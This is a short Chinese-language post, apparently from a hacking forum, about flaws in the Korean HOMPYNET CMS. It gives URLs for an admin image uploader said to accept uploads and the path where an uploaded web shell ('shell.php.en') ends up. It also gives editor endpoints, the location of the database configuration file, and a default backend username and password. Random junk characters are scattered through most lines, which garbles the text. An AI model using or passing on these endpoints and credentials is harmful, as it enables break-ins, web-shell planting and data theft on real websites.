韩国HOMPYNET CMS漏洞

admin

上传漏洞  :

4 p) {: @7 R  h- T1 o% T( dhttp://www.xxx.com/admin/image_a ... p;iname=&iform=

9 Q# a5 m' |3 ihttp://www.xxx.com/admin/image_a ... p;iname=&iform=
" \/ L$ s" k$ n4 J/ _; E
* L' d* q6 K: w; M7 T0 o( D上传后路径：
2 K9 ~9 v! f! U$ o1 G! m2 Y
http://www.xxx.com/bis_web_page/images/shell.php.en

  Z/ N7 S* U6 f0 w% }2 s编辑器：
1 B; d3 Y/ r' P0 N* g
0 C$ O& ?' P6 n) {http://www.xxx.com/admin/editor/SWE.php

. M2 o# o, d, g6 _http://www.xxx.com/program/editor/SWE.php
2 Y  ]+ [4 `% b5 X* Q  \
. k$ d4 g5 {; E- m8 q/ i数据配置文件路径：

http://www.xxx.com/m_config/DATA/g_setting.php
2 b* t1 w& T$ c1 @
2 F1 {) G. R% w; `$ `此程序通用后台账号 ：gamsiw  php99
$ I8 m# V* Q/ a% t3 g. k  ?
​
5 H( E) B9 O" K) U6 |% O
2 L$ I6 A# l2 Q$ a1 A